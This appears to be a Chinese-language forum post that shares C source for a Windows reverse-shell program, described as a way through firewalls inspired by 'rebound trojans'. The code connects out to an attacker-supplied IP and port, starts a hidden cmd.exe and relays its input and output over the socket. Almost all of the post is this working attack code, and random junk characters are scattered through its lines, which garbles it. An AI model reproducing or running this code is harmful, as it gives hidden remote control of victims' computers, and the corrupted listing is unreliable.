这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 R[zN?
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/* ==============================
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Rebound port in Windows NT vu)EB!%[
By wind,2006/7 oz=V|7,
===============================*/ c@g(_%_|2
#include F^/KD<cgK
#include ^B1Ft5F`b
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#pragma comment(lib,"wsock32.lib") |@_<^cV110
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void OutputShell(); Ub\^3f
SOCKET sClient; w<H2#d>5!@
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; VLV]e_D6s
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void main(int argc,char **argv) JOG-i
{ $e+4Kt
,
WSADATA stWsaData; uD(C jHM>
int nRet; CmXLD} L_x
SOCKADDR_IN stSaiClient,stSaiServer; VWzQXo
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if(argc != 3) hrnE5=iY
{ &Y^4>y%
printf("Useage:\n\rRebound DestIP DestPort\n"); NxF:s,a6
return; W! $U{=
} x:0swZ5Z
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WSAStartup(MAKEWORD(2,2),&stWsaData); d;<'28A
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); :
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stSaiClient.sin_family = AF_INET; OCu_v%G0
stSaiClient.sin_port = htons(0); T;3qE1c
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); FS5iUH+5
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) "8%$,rG1&
{ 6am6'_{
printf("Bind Socket Failed!\n"); wlP3 XF?
return; r-YJ$/J
} 7vXP|8j
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stSaiServer.sin_family = AF_INET; O[= L#wi
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); -ysNo4#e&
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); H
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) c/ImK`:)4a
{ L+G0/G}O\
printf("Connect Error!"); OLIMgc(W
return; ZxSnqbyA*
}
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OutputShell(); SW%}S*h
} 5 eL
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void OutputShell() #/ePpSyD
{ c*B< -
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char szBuff[1024]; _IdW5G
SECURITY_ATTRIBUTES stSecurityAttributes; `uMc.:5\
OSVERSIONINFO stOsversionInfo; 3#'8S_
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; vE,^K6q0`
STARTUPINFO stStartupInfo; hBRi5&%
char *szShell; LU;zpXg\
PROCESS_INFORMATION stProcessInformation; 05{}@tW-
unsigned long lBytesRead; =v^#MU{k?
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); U2?R&c;b
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); [K,P)V>K
stSecurityAttributes.lpSecurityDescriptor = 0; }F0<8L6%
stSecurityAttributes.bInheritHandle = TRUE; m8PS84."]M
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); E oixw8hz
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 1#cTk
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ROn@tW
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; UapU:>!"`
stStartupInfo.wShowWindow = SW_HIDE; VqvjOeCbH
stStartupInfo.hStdInput = hReadPipe; } r(b:}DN
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ;^bfLSWm{
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GetVersionEx(&stOsversionInfo); ),vDn}>
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switch(stOsversionInfo.dwPlatformId) yYGs]+
{ ~C^:SND7
case 1: #<==7X#
szShell = "command.com"; 3QBzyJWf
break; .-iW
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default: [/q
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szShell = "cmd.exe"; riOaqV
break; MvZa;B
} /d}"s.3p
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); d'Bxi"K
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send(sClient,szMsg,77,0); [u!n=ev
while(1) ?2#'>B
{ Cp/f18zO
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 2?
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if(lBytesRead) Z@dVK`nD
{ wH!$TAZ:Yw
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); j24 3oD
send(sClient,szBuff,lBytesRead,0); mrRid}2
} 66F?exr
else 5b/ ~]v
{ m-azd~r[
lBytesRead=recv(sClient,szBuff,1024,0); ]w>o=<?b
if(lBytesRead<=0) break; l3p :}A
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 3s?u05_
} NW5OLa")J<
} Q;VuoHj!
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return; Le?g,c
}